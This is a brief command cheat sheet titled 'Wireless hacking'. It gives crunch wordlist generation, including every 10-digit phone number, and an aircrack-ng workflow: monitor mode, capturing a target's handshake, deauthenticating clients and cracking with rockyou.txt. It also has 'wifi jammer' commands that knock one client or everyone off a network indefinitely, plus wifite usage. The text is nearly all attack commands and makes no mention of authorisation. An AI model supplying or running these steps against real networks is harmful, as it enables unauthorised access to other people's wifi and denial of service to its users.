

Wireless hacking

How much is your password is secure :- website -
<https://howsecureismypassword.net/>

Crunch :-

--> crunch <min char> <max char> <your words for wordlists>

--> crunch 5 8 abcdefghijklmnopqrstuvwxyz1234567890

Mobile no. from crunch :-

--> crunch 10 10 9876543210

Wifi :-

--> ifconfig

--> iwconfig

--> airmon-ng start wlan0

--> kill all process

--> iwconfig (see mode : monitor)

--> airodump-ng wlan0mon (look your target and interrupt when you find the target)

--> airodump-ng --bssid <bssid> -c <Channel No.> -w /root/Desktop/wificonnect wlan0mon

--> airodump-ng --bssid <bssid> -c <Channel No.> -w /root/Desktop/wificonnect wlan0mon

--> open new terminal

--> aireplay-ng -0 15 -a <router bssid/mac> -c <station bssid/mac> wlan0mon

--> aircrack-ng /root/Desktop/wificonnect-01.cap -w
/user/share/wordlists/rockyou.txt

wifi jammer :-

for single target

```
aireplay-ng -0 0 -a <router bssid/mac> -c <station bssid/mac> wlan0mon
```

for no one can connect to wifi

```
aireplay-ng -0 0 -a <router bssid> wlan0mon
```

wifite :-

```
wifite --wep
```

```
--> wifite --wpa
```

```
--> just give number of your target
```
